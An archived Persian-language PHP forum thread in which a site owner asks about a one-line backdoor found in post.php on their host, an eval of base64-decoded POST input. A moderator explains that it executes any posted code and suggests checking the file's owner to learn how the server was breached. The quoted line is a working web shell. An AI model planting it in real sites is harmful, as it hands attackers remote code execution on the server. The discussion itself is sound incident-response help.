عملکرد کدی مشکوک [بایگانی]

milad_tensy

شنبه 11 آبان 1392, 09:27 صبح

سلام .دوستان می خواستم ببینم این خط کد چی کار می کنه ؟

<?php if (isset($_POST["code"])) eval(base64_decode($_POST["code"])); ?>
این کد داخل یک فایل با اسم post.php به صورت مشکوک داخل اطلاعات هاست من نشسته بود با تشکر

MMSHFE

شنبه 11 آبان 1392, 10:02 صبح

چه ربطی به CodeIgniter داره اونوقت؟! (تاپیک رو از بخش فرعی CI به تالار اصلی PHP منتقل کردم). این خط کد هرچی که با روش POST به اسم code براش ارسال بشه رو روی هاست شما اجرا میکنه!

MMSHFE

شنبه 11 آبان 1392, 10:06 صبح

البته بهتره قبل از حذف این فایل، ببینید Owner فایل کیه. اگه root یا User خودتون بود، یکی تو کنترل پانل سایتتون تونسته لاگین کنه و باید رمزها و... رو عوض کنید ولی اگه کاربر Apache بود، اسکریپت آپلود فایلتون باگ داشته.

milad_tensy

شنبه 11 آبان 1392, 13:15 عصر

شرمنده . داشتم توی تاپیک ها سرچ می کردم که اشتباه اینجا به جای صفحه ی اصلی تاپیک زدم